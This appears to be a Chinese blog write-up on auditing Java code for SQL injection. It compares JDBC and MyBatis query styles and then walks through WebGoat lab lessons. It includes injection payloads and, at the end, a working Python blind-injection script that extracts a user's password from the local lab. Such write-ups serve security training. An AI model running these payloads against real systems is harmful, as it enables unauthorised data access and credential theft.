JAVA代码审计——SQL注入靶场审计01

发布于:2022-11-09 ⋅ 阅读:(1025) ⋅ 点赞:(0)

目录

(一)前置知识

0x01  执行 SQL 语句的几种方式

1.Statement 执行 SQL 语句

2、PreparedStatement 执行 SQL 语句

3.MyBatis 执行 SQL 语句

 

注意:MyBatis 中#{}和${}的区别

总结

(二)SQL Lesson 9

(三) SQL Lesson 10

(四)SQL Lesson (adv) 5

 payload

参考资料


(一)前置知识


0x01  执行 SQL 语句的几种方式


Java 中执行 SQL 语句一般有以下几种方式:
  • 使用 JDBC java.sql.Statement 执行 SQL 语句。
  • 使用 JDBC java.sql.PreparedStatement 执行 SQL 语句。
  • 使用 Hibernate 执行 SQL 语句。
  • 使用 MyBatis 执行 SQL 语句。

1Statement 执行 SQL 语句

        java.sql.Statement 是 Java JDBC 下执行 SQL 语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现 SQL 注入漏洞。
//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver"); 
//获取连接
Connection conn = DriverManager.getConnection(DBURL, DBUser, DBPassWord); 
//创建 Statement 对象
Statement state = conn.createStatement(); 
//执行 SQL 
String sql = "SELECT * FROM user WHERE id = '" + id + "'"; 
state. executeQuery(sql);

2、PreparedStatement 执行 SQL 语句


        PreparedStatement 是继承 statement 的子接口,包含已编译的 SQL 语句。
PreparedStatement 会预处理 SQL 语句, SQL 语句可具有一个或多个 IN 参数。 IN 参数的值
SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符。每个
问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 int 型则用
setInt 方法,如果是 string 型则用 setString 方法。
       PreparedStatement 预编译的特性使得其执行 SQL 语句要比 Statement 快, SQL 语句会编译在数据库系统中,执行计划会被缓存起来,速度会加快很多。PreparedStatement 预编译还有另一个优势,可以有效地防止 SQL 注入攻击,其相当于Statement 的升级版。

        使用方式如下:

//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver"); 
//获取连接
Connection conn =DriverManager.getConnection(DBURL, DBUser, DBPassWord); 
//实例化 PreparedStatement 对象
String sql = "SELECT * FROM user WHERE id = ?"; 
PreparedStatement preparedStatement = connection.prepareStatement(sql); 
//设置占位符为 id 变量
preparedStatement.setInt(1,id); 
//执行 SQL 语句
ResultSet resultSet = preparedStatement.executeQuery();

3.MyBatis 执行 SQL 语句


     MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL 、存储过程以及高级映射。 MyBatis 封装了几乎所有的 JDBC 代码,可以完成设置参数和获取结果集的工作。
     MyBatis 可以通过简单的 XML 或注解将原始类型、接口和 Java POJO Plain Old Java Objects,普通老式 Java 对象)配置并映射为数据库中的记录。要使用 MyBatis ,只需将 mybatis-x.x.x.jar 文件置于类路径( classpath )中即可。
1MyBatis 注解存储 SQL 语句
package org.mybatis.example; 
public interface BlogMapper { 
 @Select("select * from Blog where id = #{id}") 
 Blog selectBlog(int id); 
}
(2)MyBatis 映射存储 SQL 语句

<?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd">
<mapper namespace="org.mybatis.example.BlogMapper"> 
 <select id="selectBlog" parameterType="int" resultType="Blog"> 
 select * from Blog where id = #{id} 
 </select> 
</mapper>
(3)定义主体测试代码文件 mybaitstest.java

public class mybaitstest { 
 SqlSessionFactory sessionFactory = null; 
 SqlSession sqlSession = null; 
 { String resource = "com/mybatis/mybatisConfig.xml"; 
 // 加载 mybatis 的配置文件(它也加载关联的映射文件)
 Reader reader = null; 
 try { 
 reader = Resources.getResourceAsReader(resource); 
 } catch (IOException e) { 
 e.printStackTrace(); 
 } 
 // 构建 sqlSession 的工厂
 sessionFactory = new SqlSessionFactoryBuilder().build(reader); 
 // 创建能执行映射文件中 SQL 的 sqlSession,默认为手动提交事务,如果使用自动提交,
则加上参数 true 
 sqlSession = sessionFactory.openSession(true); 
 } 
 public void testSelectUser() { 
 String statement = "com.mybatis.userMapper" + ".getUser"; 
 User user = sqlSession.selectOne(statement, "2"); 
 System.out.println(user); 
 } 
 public static void main(String[] args) throws IOException { 
 new mybaitstest().testSelectUser(); 
 } 
}
(4)定义 SQL 映射文件 userMapper.xml

<?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd"> 
<mapper namespace="com.mybatis.userMapper"> 
 <!-- 根据 id 查询一个 User 对象 --> 
 <select id="getUser" resultType="com.mybatis.sql.User"> 
 select * from users where id=#{id} 
 </select> 
</mapper>
(5)定义 MyBatista mybatisConfig.xml 配置文件

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/ 
mybatis-3-config.dtd"> 
    <configuration> 
     <!--设置 Mybatis 打印调试 sql --> 
     <settings> 
     <setting name="logImpl" value="STDOUT_LOGGING" /> 
     </settings> 
         <environments default="development"> 
             <!-- development:开发环境 work:工作模式 --> 
         <environment id="development"> 
     <transactionManager type="JDBC" /> 
 <!-- 数据库连接方式 --> 
     <dataSource type="POOLED"> 
         <property name="driver" value="com.mysql.cj.jdbc.Driver" /> 
         <property name="url" value="jdbc:mysql://192.168.88.20:3306/test?serverTimezone= 
UTC" /> 
         <property name="username" value="root" /> 
         <property name="password" value="root" /> 
         </dataSource> 
     </environment> 
 </environments> 
 <!-- 注册表映射文件 --> 
 <mappers> 
 <mapper resource="com/mybatis/userMapper.xml"/> 
 </mappers> 
</configuration>
         在测试代码 mybaitstest.java 中通过 String statement = "com.mybatis.userMapper" +
".getUser" 调用了 com.mybatis.sql.User ,在 userMapper.xml 映射文件中执行的是
select * from users where id = #{id} ”,通过测试代码“ User user = sqlSession.selectOne
(statement, "2") ”将 id 的值设置为 2 ,运行完成后输出 id 2 的数据信息,如图 2-4所示:

2-4 输出 id 2 的数据信息

 

注意:MyBatis #{}${}的区别

  1. #{}在底层实现上使用“?”作为占位符来生成 PreparedStatement,也是参数化查询预编译的机制,这样既快又安全。
  2. ${}将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL注入的风险。

like、order by和in

   在 MyBatis #{} 是进行参数化查询的,如果在 MyBatis order by子句中使用#{} order by 子句会失效;like 子句中使用#{}程序会报错,例如:“select * from users where name like '%#{user}%'”;为了避免报错只能使用${},例如:“select * from users where  name like '%${user}%'”;但${}可能会存在 SQL 注入漏洞,要避免 SQL 注入漏洞就要 进行过滤。
     MyBatis 框架的 in 子句中使用 #{} ${} ,参数类似于“ 'user1','user2','user3','user4' ”,多个参数时结果也会有不同。在 MyBatis in 子句中使用 #{} 会将多个参数当作一个整体
 <mapper namespace="com.mybatis_orderby.userMapper"> 
         <select id="getUser" resultType="com.mybatis_orderby.sql.User"> 
         select * from users where name in (#{user}) 
     </select> 
</mapper>
       MyBatis in 子句中使用 #{} 参数化查询,会将“ select * from users where name in (#{user})”转变为“ select * from users where name like (''user1','user2','user3','user4'') ”,这样 把“'user1','user2','user3','user4' 当作一个整体,偏离了原来的程序设计逻辑,无法查到数据,如图 2-20 所示。

2-20 偏离原来的程序设计逻辑

 

为了避免这个问题,只能使用${},但是${}使用的是字符串拼接的方式很有可能会存在 SQL 注入漏洞。

总结

Statement 
createStatement 
PrepareStatement 
like '%${ 
in (${ 
select 
update 
insert

(二)SQL Lesson 9


前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址.

 全局进行一个搜索,我们首先来看PostMapping那一个代码

 可以看到直接进行了SQL语句的拼接

 

我们来打个断点分析一下,可以看到我们输入的内容没有经过任何过滤就直接拼接来进去

 然后我们再跟进一下injectableQuery,其实就是下面一个方法,可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么?

 可以看到我们传入的数据直接可以通过引号闭合sql语句的引号

 

SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '

然后就可以看到我们所有的数据都回显出来了

(三) SQL Lesson 10


同样的发送请求来定位我们后端的接口

 然后在代码中进行一个定位 ,定位到如下的片段

 我把代码下载到IDEA里面了,靶场在docker里面部署的,爆红不影响正常的代码分析。

可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编,然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作,然后再进行sql语句的执行。

 所以这里的注入点是后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可. 1 or 1=1

 后面几关产生原理是相同的,注入类型不同。

(四)SQL Lesson (adv) 5


 测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login,来search

可以看到我们的SQL语句中userid和password都进行了预编译,但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql

 

所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号:

"select userid from sql_challenge_users where userid = '" + username_reg + "'"

例如 :

  • 下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢?
select userid from sql_challenge_users where userid =' + tom' and '1'='1 +'

我们可以采用类似布尔盲注的思路,前提得知已有tom这个账号

tom' and '1'='2 真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created

tom' and '1'='1 真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists

文字有可能不是很清楚我们来看例子:

我们来打一下断点分析一下

 我们先来尝试假的 用户名为 tom' and '1'='2

 

 可以看到直接来到了else这里

回显结果如下 

 接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句

 同时返回信息

 前端有回显

 payload

import requests
import string

cookies = {}
cookies["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:
    flag = 0
    for value in enums:
        sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)
        url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"
        put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}
        req = requests.put(url,data=put_data,cookies=cookies)
        text = req.text
        if "already exists" in text:
            print(value,end='')
            i+=1
            flag = 1
    if flag == 0:
        break

参考资料

JAVA代码审计之WebGoat靶场SQL注入_Tr0e的博客-CSDN博客

本文含有隐藏内容,请 开通VIP 后查看